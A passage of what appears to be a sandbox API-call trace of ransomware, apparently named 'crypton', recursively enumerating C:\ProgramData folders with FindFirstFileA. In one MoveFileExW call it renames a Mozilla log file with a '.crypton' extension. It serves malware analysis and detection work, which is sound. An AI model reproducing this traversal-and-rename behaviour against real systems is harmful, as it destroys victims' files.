cAlternateFileName="")) returned 0x549850 [0188.559] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedbfb720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbfb720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.567] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedbfb720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbfb720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.575] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc21880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc21880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.581] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc21880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc21880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.587] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc479e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc479e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.594] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xedc479e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc479e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.601] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc6db40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc6db40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.608] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc6db40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc6db40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.614] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc6db40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc6db40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.625] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xedc93ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc93ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.632] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xedcb9e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcb9e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.639] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedcb9e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcb9e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.647] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedcdff60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcdff60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.647] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.655] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xedcdff60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcdff60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0188.662] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Mozilla\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xedd060c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd060c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.670] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xedd060c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd060c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0188.672] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.crypton" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.crypton"), dwFlags=0x2) returned 1 [0188.689] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Oracle\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xedd2c220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd2c220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0188.699] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedd52380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd52380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0188.705] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd52380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd52380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.709] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.714] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.719] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.724] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedd784e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd784e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.729] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedd9e640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd9e640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.732] GetFileType (hFile=0x1ac) returned 0x1 [0188.736] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedd9e640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedd9e640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.741] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xeddc47a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddc47a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.745] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xeddc47a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddc47a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.753] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xeddc47a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddc47a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.757] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xeddea900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddea900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.762] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xeddea900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddea900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.767] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xeddea900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeddea900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.772] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xede10a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede10a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.777] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xede10a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede10a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.782] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xede10a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede10a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.787] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.792] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.796] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.802] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede36bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede36bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.806] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede5cd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede5cd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.813] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xede5cd20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede5cd20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.823] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package 